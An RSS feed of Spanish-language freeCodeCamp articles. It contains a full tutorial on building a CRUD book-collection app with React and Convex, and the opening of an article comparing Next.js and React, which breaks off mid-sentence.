<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ Elias Ezequiel Pereyra Gomez - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Descubre miles de cursos de programación escritos por expertos. Aprende Desarrollo Web, Ciencia de Datos, DevOps, Seguridad y obtén asesoramiento profesional para desarrolladores. ]]>
        </description>
        <link>https://www.freecodecamp.org/espanol/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ Elias Ezequiel Pereyra Gomez - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/espanol/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Thu, 14 May 2026 19:58:32 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/espanol/news/author/elias-pereyra/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ Cómo construir una aplicación CRUD usando React y Convex ]]>
                </title>
                <description>
                    <![CDATA[ Las operaciones CRUD son la base de cada aplicación, por lo que es esencial volverse competente en esto cuando se aprende nuevas tecnologías. En este tutorial, aprenderás cómo construir una aplicación CRUD usando React y Convex. Cubriremos estas operaciones al construir un proyecto que se llama Book Collections. En este ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/como-construir-una-aplicacion-crud-usando-react-y-convex/</link>
                <guid isPermaLink="false">68102fd4c8db8f04fae91582</guid>
                
                    <category>
                        <![CDATA[ React ]]>
                    </category>
                
                    <category>
                        <![CDATA[ convex ]]>
                    </category>
                
                    <category>
                        <![CDATA[ crud ]]>
                    </category>
                
                    <category>
                        <![CDATA[ full stack ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Fri, 27 Jun 2025 01:18:13 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2025/04/Captura-desde-2025-04-28-22-49-09.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Las operaciones CRUD son la base de cada aplicación, por lo que es esencial volverse competente en esto cuando se aprende nuevas tecnologías.</p><p>En este tutorial, aprenderás cómo construir una aplicación CRUD usando React y Convex. Cubriremos estas operaciones al construir un proyecto que se llama Book Collections. En este proyecto, los usuarios serán capaz de agregar libros y actualizar sus estados una vez que completan un libro.</p><h2 id="tabla-de-contenido"><strong><strong>Tabl</strong>a<strong> </strong>de<strong> </strong>Contenido</strong></h2><!--kg-card-begin: markdown--><ul>
<li><a href="#que-es-convex">¿Qué es Convex?</a></li>
<li><a href="#como-configurar-proyecto">¿Cómo configurar tu proyecto?</a></li>
<li><a href="#como-crear-esquema">¿Cómo crear el esquema?</a></li>
<li><a href="#como-crear-ui">¿Cómo crear la UI?</a></li>
<li><a href="#como-crear-funciones-crud">¿Cómo crear las funciones CRUD?</a></li>
<li><a href="#estilos">Los estilos</a></li>
<li><a href="#resumen">Resumen</a></li>
</ul>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><h2 id="que-es-convex">¿Qué es Convex?</h2><!--kg-card-end: html--><p>Convex es la Plataforma BaaS que simplifica el desarrollo backend. Convex viene con una base de datos de tiempo real, y no tienes que preocuparte sobre escribir lógica de parte del servidor de forma separada porque provee métodos para solicitar y mutar la base de datos.</p><h3 id="pre-requisitos"><strong><strong>Pre</strong>-requisitos</strong></h3><p>Para seguir este tutorial, debes conocer los fundamentos de React. Estaré usando TypeScript en este proyecto, pero es opcional, así que puedes seguirme con JavaScript.</p><!--kg-card-begin: html--><h2 id="como-configurar-proyecto">Cómo configurar tu proyecto</h2><!--kg-card-end: html--><p>Crea una carpeta separa para el proyecto y llámalo como gustes – yo lo llamaré <strong>Books</strong>. Configuraremos Convex y React en esa carpeta.</p><p>Puedes crear una aplicación de React usando este comando:</p><pre><code class="language-bash">npm create vite@latest my-app -- --template react-ts
</code></pre><p>Si quieres trabajar con JavaScript, entonces quita el `ts` al final. Sería:</p><pre><code class="language-bash">npm create vite@latest my-app -- --template react
</code></pre><h3 id="c-mo-configurar-convex"><strong>Cómo configurar<strong> Convex</strong></strong></h3><p>Tenemos que instalar Convex en la misma carpeta. Puedes hacer eso usando este comando:</p><pre><code class="language-bash">npm install convex
</code></pre><p>Luego, ejecuta <code>npx convex dev</code>. Si lo estás haciendo por primera vez, te debería pedirte la autenticación. De otra forma, debería preguntarte por el nombre del proyecto.</p><p>Puedes visitar el <a href="https://www.convex.dev/">panel de Convex</a> para ver el proyecto que has creado.</p><p>Ahora que hemos configurado Convex y React, necesitamos conectar el backend de Convex a la aplicación de React.</p><p>En el <strong><code>src/main.tsx</code>, </strong>envuelve tu componente <code>App</code> con <code>ConvexReactClient</code>:</p><pre><code class="language-tsx">import { createRoot } from "react-dom/client";
import App from "./App.tsx";
import { ConvexProvider, ConvexReactClient } from "convex/react";
import "./index.css"

const convex = new ConvexReactClient(import.meta.env.VITE_CONVEX_URL as string);

createRoot(document.getElementById("root")!).render(
  &lt;ConvexProvider client={convex}&gt;
    &lt;App /&gt;
  &lt;/ConvexProvider&gt;
);
</code></pre><p>Cuando configuras Convex, se crea un archivo <code>.env.local</code>. Puedes ver el URL de tu backend en ese archivo.</p><p>En la línea de abajo, instanciamos el Cliente de Convex de React con el URL.</p><pre><code class="language-typescript">const convex = new ConvexReactClient(import.meta.env.VITE_CONVEX_URL as string);
</code></pre><!--kg-card-begin: html--><h2 id="como-crear-esquema">Cómo crear el Esquema</h2><!--kg-card-end: html--><p>En tu carpeta principal del proyecto, deberías de ver la carpeta <strong>convex</strong>. Manejaremos las solicitudes de la base de datos y las mutaciones aquí.</p><p>Crea un archivo <strong>schema.ts</strong> en la carpeta <strong>convex:</strong></p><pre><code class="language-typescript">import { defineSchema, defineTable } from "convex/server";
import { v } from "convex/values";

export default defineSchema({
  books: defineTable({
    title: v.string(),
    author: v.string(),
    isCompleted: v.boolean(),
  }),
});
</code></pre><p>Puedes definir un Esquema para tu documento con <code>defineSchema</code> y crea un tabla con <code>defineTable</code>. Convex provee estas funciones para definir un esquema y crear una tabla.</p><p><code>v</code> es el validador de tipo, se usa para proveer tipos para cada dato que agregamos a la tabla.</p><p>Para este proyecto, ya que es una aplicación de colección de libros, la estructura tendrá <code>title</code>, <code>author</code>, y <code>isCompleted</code>. Puedes agregar mas campos.</p><p>Ahora que tienes definido tu esquema, configuremos la UI básica en React.</p><!--kg-card-begin: html--><h2 id="como-crear-ui">Cómo crear la UI</h2><!--kg-card-end: html--><p>En la carpeta <strong>src</strong>, crea una carpeta llamada <strong>component</strong> y un archivo <strong>Home.tsx</strong>. Aquí, puedes definir la UI.</p><pre><code class="language-tsx">import { useState } from "react";
import "../styles/home.css";

const Home = () =&gt; {
  const [title, setTitle] = useState("");
  const [author, setAuthor] = useState("");
  return (
    &lt;div className="main-container"&gt;
      &lt;h1&gt;Book Collections&lt;/h1&gt;
      &lt;form onSubmit={handleSubmit}&gt;
        &lt;input
          type="text"
          name="title"
          value={title}
          onChange={(e) =&gt; setTitle(e.target.value)}
          placeholder="book title"
        /&gt;
        &lt;br /&gt;
        &lt;input
          type="text"
          name="author"
          value={author}
          onChange={(e) =&gt; setAuthor(e.target.value)}
          placeholder="book author"
        /&gt;
        &lt;br /&gt;
        &lt;input type="submit" /&gt;
      &lt;/form&gt;
      {books ? &lt;Books books={books} /&gt; : "Loading..."}
    &lt;/div&gt;
  );
};

export default Home;
</code></pre><p>Puedes crear tu componente como gustes. Agregué dos campos input <code>title</code>, <code>author</code>, y un botón <code>submit</code>. Esta es la estructura básica. Ahora podemos crear los métodos CRUD en el backend.</p><!--kg-card-begin: html--><h2 id="como-crear-funciones-crud">Cómo crear las funciones CRUD</h2><!--kg-card-end: html--><p>En la carpeta <strong>convex</strong>, puedes crear un archivo <strong>queries.ts</strong> separado para las funciones CRUD.</p><h3 id="la-funci-n-create"><strong>La<strong> </strong>Función Create</strong></h3><p>Ie <strong><strong>convex/queries.ts</strong></strong>:</p><p>Puedes definir una función <code>createBooks</code>. Puedes usar la función <code>mutation</code> de Convex para crear, actualizar, y eliminar datos. Leer los datos será a través de <code>query</code>.</p><p>La función <code>mutation</code> espera estos argumentos:</p><ul><li><code>agrs</code>: los datos que necesitamos almacenar en la base de datos.</li><li><code>handler</code>: maneja la lógica para almacenar los datos en la base de datos. El <code>handler</code> es una función asíncrona, y tiene dos argumentos: <code>ctx</code> y <code>args</code>. Aquí, <code>ctx</code> es el objeto contexto que usaremos para manejar las operaciones de la base de datos.</li></ul><p>Usarás el método <code>insert</code> para ingresar nuevos datos. El primer parámetro en el <code>insert</code> es el nombre de la tabla y el segundo es para los datos que necesitan ser insertados.</p><p>Como último, puedes regresar los datos desde la base de datos.</p><p>Aquí estás el código:</p><pre><code class="language-typescript">import { mutation} from "./_generated/server";
import { v } from "convex/values";

export const createBooks = mutation({
  args: { title: v.string(), author: v.string() },
  handler: async (ctx, args) =&gt; {
    const newBookId = await ctx.db.insert("books", {
      title: args.title,
      author: args.author,
      isCompleted: false,
    });
    return newBookId;
  },
});
</code></pre><h3 id="la-funci-n-read"><strong>La Función <strong>Read</strong></strong></h3><p>En <strong><strong>convex/queries.ts</strong></strong>:</p><pre><code class="language-typescript">import { query } from "./_generated/server";
import { v } from "convex/values";

//read
export const getBooks = query({
  args: {},
  handler: async (ctx) =&gt; {
    return await ctx.db.query("books").collect();
  },
});
</code></pre><p>En esta operación read, usamos la función incorporada <code>query</code> de Convex. Aquí, <code>args</code> estará vacía ya que no obtenemos ningún datos del usuario. De forma similar, la función <code>handler</code> es asíncrona y usa el objeto <code>ctx</code> para solicitar de la base de datos y regresar los datos.</p><h3 id="la-funci-n-update"><strong>La Función <strong>Update</strong></strong></h3><p>En <strong><strong>convex/queries.ts</strong></strong>:</p><p>Crea una función <code>updateStatus</code>. Vamos a actualizar solamente el estado <code>isCompleted</code>.</p><p>Aquí, necesitas obtener el ID del documento y el estado del usuario. En el <code>args</code>, definiremos el <code>id</code> y el <code>isCompleted</code>, los cuales vendrán del usuario.</p><p>En el <code>handler</code>, usaremos el método <code>patch</code> para actualizar los datos. El método <code>patch</code> espera dos argumentos: el primer argumento es el <code>id</code> del documento y el segundo es para los datos actualizados.</p><pre><code class="language-typescript">import { mutation } from "./_generated/server";
import { v } from "convex/values";

//update
export const updateStatus = mutation({
  args: { id: v.id("books"), isCompleted: v.boolean() },
  handler: async (ctx, args) =&gt; {
    const { id } = args;
    await ctx.db.patch(id, { isCompleted: args.isCompleted });
    return "updated"
  },
});
</code></pre><h3 id="funci-n-delete"><strong>Función <strong>Delete</strong></strong></h3><p>En <strong><strong>convex/queries.ts</strong></strong>:</p><p>Crea una función <code>deleteBooks</code> y usa la función <code>mutation</code>. Necesitaremos el ID del documento para que se elimine. En el <code>args</code>, define un ID. En el <code>handler</code>, usa el método <code>delete</code> del objeto <code>ctx</code>, y pasa el ID. Esto eliminará el documento.</p><pre><code class="language-typescript">import { mutation } from "./_generated/server";
import { v } from "convex/values";

//delete
export const deleteBooks = mutation({
  args: { id: v.id("books") },
  handler: async (ctx, args) =&gt; {
    await ctx.db.delete(args.id);
    return "deleted";
  },
});
</code></pre><p>A partir de ahora, has completado las funciones CRUD en el backend. Ahora necesitamos hacerlo funcionar en el UI. Volvamos a React.</p><h3 id="actualizar-el-ui"><strong>Actualizar<strong> </strong>el<strong> UI</strong></strong></h3><p>Ya has creado un UI básico en la aplicación de React, con algunos campos input. Vamos a actualizarlo.</p><p>En <strong><strong>src/component/Home.tsx</strong></strong>:</p><pre><code class="language-tsx">import { useQuery, useMutation } from "convex/react";
import { api } from "../../convex/_generated/api";
import { Books } from "./Books";
import { useState } from "react";
import "../styles/home.css";

const Home = () =&gt; {
  const [title, setTitle] = useState("");
  const [author, setAuthor] = useState("");
  const books = useQuery(api.queries.getBooks);
  const createBooks = useMutation(api.queries.createBooks);

  const handleSubmit = (e: React.FormEvent&lt;HTMLFormElement&gt;): void =&gt; {
    e.preventDefault();
    createBooks({ title, author })
      .then(() =&gt; {
        console.log("created");
        setTitle("");
        setAuthor("");
      })
      .catch((err) =&gt; console.log(err));
  };
  return (
    &lt;div className="main-container"&gt;
      &lt;h1&gt;Book Collections&lt;/h1&gt;
      &lt;form onSubmit={handleSubmit}&gt;
        &lt;input
          type="text"
          name="title"
          value={title}
          onChange={(e) =&gt; setTitle(e.target.value)}
          placeholder="book title"
        /&gt;
        &lt;br /&gt;
        &lt;input
          type="text"
          name="author"
          value={author}
          onChange={(e) =&gt; setAuthor(e.target.value)}
          placeholder="book author"
        /&gt;
        &lt;br /&gt;
        &lt;input type="submit" /&gt;
      &lt;/form&gt;
      {books ? &lt;Books books={books} /&gt; : "Loading..."}
    &lt;/div&gt;
  );
};

export default Home;
</code></pre><p>Ahora podemos usar las funciones API del backend al usar <code>api</code> de Convex. Como puedes ver, llamamos a dos funciones de la API: puedes usar <code>useQuery</code> si vas a obtener datos y <code>useMutation</code> si quieres cambiar los datos. Ahora en este archivo, que estamos haciendo, dos operaciones que son create y read.</p><p>Obtuvimos todos los datos al usar este método:</p><pre><code class="language-typescript"> const books = useQuery(api.queries.getBooks);
</code></pre><p>El arreglo de objetos serán almacenados en la variable books.</p><p>Obtuvimos la función create del backend con esta línea de código:</p><pre><code class="language-typescript">const createBooks = useMutation(api.queries.createBooks);
</code></pre><h3 id="c-mo-usar-la-funci-n-create-en-el-ui"><strong>Cómo usar la función<strong> </strong>create<strong> </strong>en el<strong> UI</strong></strong></h3><p>Usemos la función create en el UI.</p><p>Ya que los campos input están en la etiqueta <code>form</code>, usaremos el atributo <code>onSubmit</code> para manejar el envío del formulario.</p><pre><code class="language-typescript">// En el Home.tsx

const handleSubmit = (e: React.FormEvent&lt;HTMLFormElement&gt;): void =&gt; {
    e.preventDefault();
    createBooks({ title, author })
      .then(() =&gt; {
        console.log("created");
        setTitle("");
        setAuthor("");
      })
      .catch((err) =&gt; console.log(err));
  };
</code></pre><p>Cuando haces clic en submit, dispara la función <code>handleSubmit</code>.</p><p>Usamos el <code>createBooks</code> para pasar el <code>title</code> y <code>author</code> del estado. La función del endpoint es async, por lo que podemos usar el <code>handleSubmit</code> como async o usar <code>.then</code>. Usé el método <code>.then</code> para manejar los datos asíncronos.</p><p>Puedes crear un componente separado para mostrar los datos solicitados de la base de datos. Los datos regresados están en el <strong>Home.tsx</strong>, así que pasaremos los datos al componente <strong>Book.jsx</strong> como props.</p><p>En <strong><strong>Books.tsx</strong></strong>:</p><pre><code class="language-tsx">import { useState } from "react";
import { book } from "../types/book.type";
import { useMutation } from "convex/react";
import { api } from "../../convex/_generated/api";
import { Id } from "../../convex/_generated/dataModel";
import "../styles/book.css";

export const Books = ({ books }: { books: book[] }) =&gt; {
  const [update, setUpdate] = useState(false);
  const [id, setId] = useState("");

  const deleteBooks = useMutation(api.queries.deleteBooks);
  const updateStatus = useMutation(api.queries.updateStatus);

  const handleClick = (id: string) =&gt; {
    setId(id);
    setUpdate(!update);
  };

  const handleDelete = (id: string) =&gt; {
    deleteBooks({ id: id as Id&lt;"books"&gt; })
      .then((mess) =&gt; console.log(mess))
      .catch((err) =&gt; console.log(err));
  };

  const handleUpdate = (e: React.FormEvent&lt;HTMLFormElement&gt;, id: string) =&gt; {
    e.preventDefault();
    const formdata = new FormData(e.currentTarget);
    const isCompleted: boolean =
      (formdata.get("completed") as string) === "true";
    updateStatus({ id: id as Id&lt;"books"&gt;, isCompleted })
      .then((mess) =&gt; console.log(mess))
      .catch((err) =&gt; console.log(err));
    setUpdate(false);
  };

  return (
    &lt;div&gt;
      {books.map((data: book, index: number) =&gt; {
        return (
          &lt;div
            key={data._id}
            className={`book-container ${data.isCompleted ? "completed" : "not-completed"}`}
          &gt;
            &lt;h3&gt;Book no: {index + 1}&lt;/h3&gt;
            &lt;p&gt;Book title: {data.title}&lt;/p&gt;
            &lt;p&gt;Book Author: {data.author}&lt;/p&gt;
            &lt;p&gt;
              Completed Status:{" "}
              {data.isCompleted ? "Completed" : "Not Completed"}
            &lt;/p&gt;
            &lt;button onClick={() =&gt; handleClick(data._id)}&gt;Update&lt;/button&gt;
            {id === data._id &amp;&amp; update &amp;&amp; (
              &lt;&gt;
                &lt;form onSubmit={(e) =&gt; handleUpdate(e, data._id)}&gt;
                  &lt;select name="completed"&gt;
                    &lt;option value="true"&gt;Completed&lt;/option&gt;
                    &lt;option value="false"&gt;Not Completed&lt;/option&gt;
                  &lt;/select&gt;
                  &lt;input type="submit" /&gt;
                &lt;/form&gt;
              &lt;/&gt;
            )}
            &lt;button onClick={() =&gt; handleDelete(data._id)}&gt;delete&lt;/button&gt;
          &lt;/div&gt;
        );
      })}
    &lt;/div&gt;
  );
};
</code></pre><p>En el componente <strong>Book.jsx, </strong>puedes mostrar los datos de la base de datos y manejar la funcionalidad para actualizar y eliminar los registros.</p><p>Veamos paso a paso cada una de estas características.</p><h3 id="c-mo-mostar-los-datos"><strong>Cómo mostar<strong> </strong>los<strong> Dat</strong>os</strong></h3><p>Puedes obtener los datos pasados como un prop en el componente <code>Home.tsx</code>. Si estás usando TypeScript, he definido un tipo para el objeto que es regresado de la solicitud. Puedes ignorar esto si estás usando JavaScript.</p><p>Crea <strong><strong><code>books.types.ts</code></strong></strong>:</p><pre><code class="language-typescript">export type book = {
    _id: string,
    title: string,
    author: string,
    isCompleted: boolean
}
</code></pre><p>Puedes usar la función <code>map</code> para mostrar los datos.</p><pre><code class="language-tsx">import { useState } from "react";
import { book } from "../types/book.type";
import { useMutation } from "convex/react";
import { api } from "../../convex/_generated/api";
import { Id } from "../../convex/_generated/dataModel";
import "../styles/book.css";

export const Books = ({ books }: { books: book[] }) =&gt; {
  const [update, setUpdate] = useState(false);

  return (
    &lt;div&gt;
      {books.map((data: book, index: number) =&gt; {
        return (
          &lt;div
            key={data._id}
            className={`book-container ${data.isCompleted ? "completed" : "not-completed"}`}
          &gt;
            &lt;h3&gt;Book no: {index + 1}&lt;/h3&gt;
            &lt;p&gt;Book title: {data.title}&lt;/p&gt;
            &lt;p&gt;Book Author: {data.author}&lt;/p&gt;
            &lt;p&gt;
              Completed Status:{" "}
              {data.isCompleted ? "Completed" : "Not Completed"}
            &lt;/p&gt;
            &lt;button onClick={() =&gt; handleClick(data._id)}&gt;Update&lt;/button&gt;
            {id === data._id &amp;&amp; update &amp;&amp; (
              &lt;&gt;
                &lt;form onSubmit={(e) =&gt; handleUpdate(e, data._id)}&gt;
                  &lt;select name="completed"&gt;
                    &lt;option value="true"&gt;Completed&lt;/option&gt;
                    &lt;option value="false"&gt;Not Completed&lt;/option&gt;
                  &lt;/select&gt;
                  &lt;input type="submit" /&gt;
                &lt;/form&gt;
              &lt;/&gt;
            )}
            &lt;button onClick={() =&gt; handleDelete(data._id)}&gt;delete&lt;/button&gt;
          &lt;/div&gt;
        );
      })}
    &lt;/div&gt;
  );
};
</code></pre><p>Esta es la estructura básica. Mostramos el título, autor, y estado, junto con un botón actualizar y eliminar.</p><p>Ahora, agreguemos las funcionalidades.</p><pre><code class="language-tsx">import { useState } from "react";
import { book } from "../types/book.type";
import { useMutation } from "convex/react";
import { api } from "../../convex/_generated/api";
import { Id } from "../../convex/_generated/dataModel";
import "../styles/book.css";

export const Books = ({ books }: { books: book[] }) =&gt; {
  const [update, setUpdate] = useState(false);
  const [id, setId] = useState("");

  const deleteBooks = useMutation(api.queries.deleteBooks);
  const updateStatus = useMutation(api.queries.updateStatus);

  const handleClick = (id: string) =&gt; {
    setId(id);
    setUpdate(!update);
  };

  const handleDelete = (id: string) =&gt; {
    deleteBooks({ id: id as Id&lt;"books"&gt; })
      .then((mess) =&gt; console.log(mess))
      .catch((err) =&gt; console.log(err));
  };

  const handleUpdate = (e: React.FormEvent&lt;HTMLFormElement&gt;, id: string) =&gt; {
    e.preventDefault();
    const formdata = new FormData(e.currentTarget);
    const isCompleted: boolean =
      (formdata.get("completed") as string) === "true";
    updateStatus({ id: id as Id&lt;"books"&gt;, isCompleted })
      .then((mess) =&gt; console.log(mess))
      .catch((err) =&gt; console.log(err));
    setUpdate(false);
  };

  return (
    &lt;div&gt;
      {books.map((data: book, index: number) =&gt; {
        return (
          &lt;div
            key={data._id}
            className={`book-container ${data.isCompleted ? "completed" : "not-completed"}`}
          &gt;
            &lt;h3&gt;Book no: {index + 1}&lt;/h3&gt;
            &lt;p&gt;Book title: {data.title}&lt;/p&gt;
            &lt;p&gt;Book Author: {data.author}&lt;/p&gt;
            &lt;p&gt;
              Completed Status:{" "}
              {data.isCompleted ? "Completed" : "Not Completed"}
            &lt;/p&gt;
            &lt;button onClick={() =&gt; handleClick(data._id)}&gt;Update&lt;/button&gt;
            {id === data._id &amp;&amp; update &amp;&amp; (
              &lt;&gt;
                &lt;form onSubmit={(e) =&gt; handleUpdate(e, data._id)}&gt;
                  &lt;select name="completed"&gt;
                    &lt;option value="true"&gt;Completed&lt;/option&gt;
                    &lt;option value="false"&gt;Not Completed&lt;/option&gt;
                  &lt;/select&gt;
                  &lt;input type="submit" /&gt;
                &lt;/form&gt;
              &lt;/&gt;
            )}
            &lt;button onClick={() =&gt; handleDelete(data._id)}&gt;delete&lt;/button&gt;
          &lt;/div&gt;
        );
      })}
    &lt;/div&gt;
  );
};
</code></pre><p>Este es todo el código del componente. Déjame explicarte qué hice.</p><p>Primero, necesitamos alternar la actualización, así que definimos la función <code>handleClick</code>, y le pasamos un ID del documento.</p><pre><code class="language-typescript">//handleClick
 const handleClick = (id: string) =&gt; {
    setId(id);
    setUpdate(!update);
  };
</code></pre><p>En el <code>handleClick</code> puedes actualizar el estado del ID y alternar el estado de la actualización de forma que alternará la actualización cuando se haga clic, y en otro clic, se cerrará.</p><p>Luego, tenemos <code>handleUpdate</code>. Necesitamos el ID del documento para actualizar los datos, así que pasamos el objeto evento así también como el ID del documento. Para obtener la entrada, podemos usar <code>FormData</code>.</p><pre><code class="language-typescript">const updateStatus = useMutation(api.queries.updateStatus);

const handleUpdate = (e: React.FormEvent&lt;HTMLFormElement&gt;, id: string) =&gt; {
    e.preventDefault();
    const formdata = new FormData(e.currentTarget);
    const isCompleted: boolean =
      (formdata.get("completed") as string) === "true";
    updateStatus({ id: id as Id&lt;"books"&gt;, isCompleted })
      .then((mess) =&gt; console.log(mess))
      .catch((err) =&gt; console.log(err));
    setUpdate(false);
  };
</code></pre><p>Necesitamos usar el <code>useMutation</code> para obtener la función <code>updateStatus</code>. Pasa el ID y el estado completado a la función, y maneja la parte asíncrona usando <code>.then</code>.</p><p>Para la función delete, el ID del documento es suficiente. Como el anterior, llama la función delete usando el <code>useMutation</code> y pásale el ID.</p><p>Luego pasa el ID del documento y maneja la promesa.</p><pre><code class="language-typescript">const deleteBooks = useMutation(api.queries.deleteBooks);

const handleDelete = (id: string) =&gt; {
    deleteBooks({ id: id as Id&lt;"books"&gt; })
      .then((mess) =&gt; console.log(mess))
      .catch((err) =&gt; console.log(err));
 };
</code></pre><!--kg-card-begin: html--><h2 id="estilos">Estilos</h2><!--kg-card-end: html--><p>Finalmente, lo que queda es agregar algo de estilo. Agregué algunos estilos básicos. Si el libro no ha sido completado, estará en rojo, y si el libro se ha completado, estará en verde.</p><p>Aquí la captura de pantalla:</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1729428111374/1d1a69ef-5d35-4410-91f4-d8cf4817991d.png" class="kg-image" alt="final output" width="851" height="601" loading="lazy"></figure><p>¡¡Esto es todo chicos!!</p><p>Puedes visitar mi repositorio para ver todo el código: <a href="https://github.com/sanjayr-12/convex-crud">convex-curd</a></p><!--kg-card-begin: html--><h2 id="resumen">Resumen</h2><!--kg-card-end: html--><p>En este artículo, implementamos las operaciones CRUD (Crear, Leer, Actualizar y Eliminar) al construir una aplicación de colecciones de libros. Comenzamos configurando Convex y React, y escribir la lógica de CRUD.</p><p>Este tutorial cubrió tanto el frontend como el backend, demostrando cómo construir una aplicación serverless.</p><p>Puedes encontrar todo el código aquí: <a href="https://github.com/sanjayr-12/convex-crud">convex-curd</a></p><p>Si hay algún error o cualquier duda, contáctame en <a href="https://www.linkedin.com/in/sanjay-r-ab6064294/">LinkedIn</a>, <a href="https://www.instagram.com/_sanjayxr_12_/">Instagram</a>.</p><p>¡Gracias por leer!</p> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Next.js vs React : Diferencias y cómo elegir el adecuado para tu proyecto ]]>
                </title>
                <description>
                    <![CDATA[ Como desarrollador, hay muchas herramientas, lenguajes, frameworks y paquetes de código abierto que tienes que aprender para que tu trabajo se facilite y sea sencillo (aunque el trayecto no es sencillo, lo lograrás). Algunas de estas herramientas, lenguajes, o frameworks son usados diariamente por miembros de la comunidad y pueden ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/next-js-vs-react-diferencias-y-como-elegir-el-adecuado-para-tu-proyecto/</link>
                <guid isPermaLink="false">67ff2616e738c10479d3f336</guid>
                
                    <category>
                        <![CDATA[ NextJS ]]>
                    </category>
                
                    <category>
                        <![CDATA[ React ]]>
                    </category>
                
                    <category>
                        <![CDATA[ csr ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Fri, 20 Jun 2025 15:06:15 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2025/04/Captura-desde-2025-04-16-00-38-46.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Como desarrollador, hay muchas herramientas, lenguajes, frameworks y paquetes de código abierto que tienes que aprender para que tu trabajo se facilite y sea sencillo (aunque el trayecto no es sencillo, lo lograrás).</p><p>Algunas de estas herramientas, lenguajes, o frameworks son usados diariamente por miembros de la comunidad y pueden padecer cambios fundamentales en cómo son implementados o escritos con el tiempo.</p><p>En este artículo, exploraremos dos tecnologías populares de JavaScript, Next.js y React.js, comparando sus diferencias claves, examinando sus fortalezas, y ofreciendo perspectivas para ayudar a los desarrolladores a elegir la mejor opción para sus proyectos.</p><h2 id="tabla-de-contenido"><strong><strong>Tabl</strong>a<strong> </strong>de<strong> </strong>Contenido</strong></h2><!--kg-card-begin: markdown--><ul>
<li><a href="#entendiendo-react">Entendiendo React</a>
<ul>
<li><a href="#renderizado-lado-cliente">Renderizado del lado del Cliente</a></li>
<li><a href="#casos-uso-react-desarrollo-web">Casos de uso para React en Desarrollo Web</a></li>
</ul>
</li>
<li><a href="#explorando-nextjs">Explorando Next.js</a>
<ul>
<li><a href="#renderizado-lado-servidor">Renderizado del lado del Servidor</a></li>
<li><a href="#casos-uso-nextjs-desarrollo-web">Casos de uso para Next.js en Desarrollo Web</a></li>
</ul>
</li>
<li><a href="#diferencia-clave-nextjs-react">Diferencias claves entre Next.js y React</a>
<ul>
<li><a href="#metodos-renderizado">Métodos de renderizado: lado del cliente vs. lado del servidor</a></li>
<li><a href="#consideraciones-rendimiento">Consideraciones de rendimiento</a></li>
<li><a href="#implicaciones-seo">Implicaciones sobre SEO</a></li>
<li><a href="#escalabilidad-complejudad-proyecto">Escalabilidad y complejidad del proyecto</a></li>
</ul>
</li>
<li><a href="#cuando-usar-react-nextjs">Cuándo usar React o Next.js</a>
<ul>
<li><a href="#cuando-usar-react">Cuándo usar React</a></li>
<li><a href="#cuando-usar-nextjs">Cuándo usar Next.js</a></li>
</ul>
</li>
<li><a href="#conclusion">Conclusión</a></li>
</ul>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><h2 id="entendiendo-react">Entendiendo React</h2><!--kg-card-end: html--><p>Frecuentemente nos confundimos en cuanto si React es un framework de JavaScript o no, pero acá está la respuesta a esa pregunta. React no es un framework de JavaScript, sino una librería. Ahora, estas dos terminologías son intercambiables con frecuencia o mal usadas, pero los explicaré en breve.</p><p>Una librería es una colección de código ya escrito que puede ser re-usado o llamarse cuando construyes tu proyecto.</p><p><strong>Ejemplo</strong>: Imagina una biblioteca en donde vas a estudiar. Los libros ya están disponibles en los estantes – simplemente agarras uno que necesitas y comienzas a leer. De forma similar, en programación, una librería (o biblioteca) provee herramientas ya terminadas que puedes usar en tu proyecto sin tener que empezar de cero.</p><p>Por otro lado, un framework es como una estructura ya hecha que te ayuda a construir tu proyecto. Te da una fundación sólida para trabajar, de forma que no tengas que comenzar desde cero o escribir código repetitivo. En cambio, te enfocas en agregar tus propias características y lógica, mientras que el framework se encarga de ejecutar cosas en el momento exacto y de la forma correcta.</p><p><strong>Ejemplo</strong>: Imagina que un framework es como una casa en construcción donde los muros, el fundamento, y el techo ya están construidos. Todo lo que necesitas hacer es decidir cómo diseñar el interior – cómo elegir los muebles, la pintura y las decoraciones. El framework maneja el trabajo pesado, cómo asegurar que la casa se mantenga fuerte, mientras te enfocas en hacer lo tuyo. De forma similar, en programación, el framework provee la estructura, y tu agregas tu lógica personalizada para completar el proyecto.</p><p>Con eso fuera del camino, continuemos.</p><p>React es una de las librerías de JavaScript más populares usadas por los desarrolladores para construir interfaces de usuario rápidos, interactivos y confiables. Es una librería declarativa que ayuda a los desarrolladores crear aplicaciones web basado en componentes. Facebook desarrolló esta librería en 2011 y ha sido tendencia desde entonces.</p><p>Usualmente, cuando se escribe código JavaScript, creamos un archivo con la extensión <code>js</code>. Por ejemplo: <code>App.js</code>, <code>script.js</code>, y así sucesivamente. En React creamos un archivo con la extensión <code>jsx</code>. Eso es: <code>index.jsx</code>, <code>Home.jsx</code>, y así sucesivamente. El <code>jsx</code> es una extensión de React que te permite escribir un 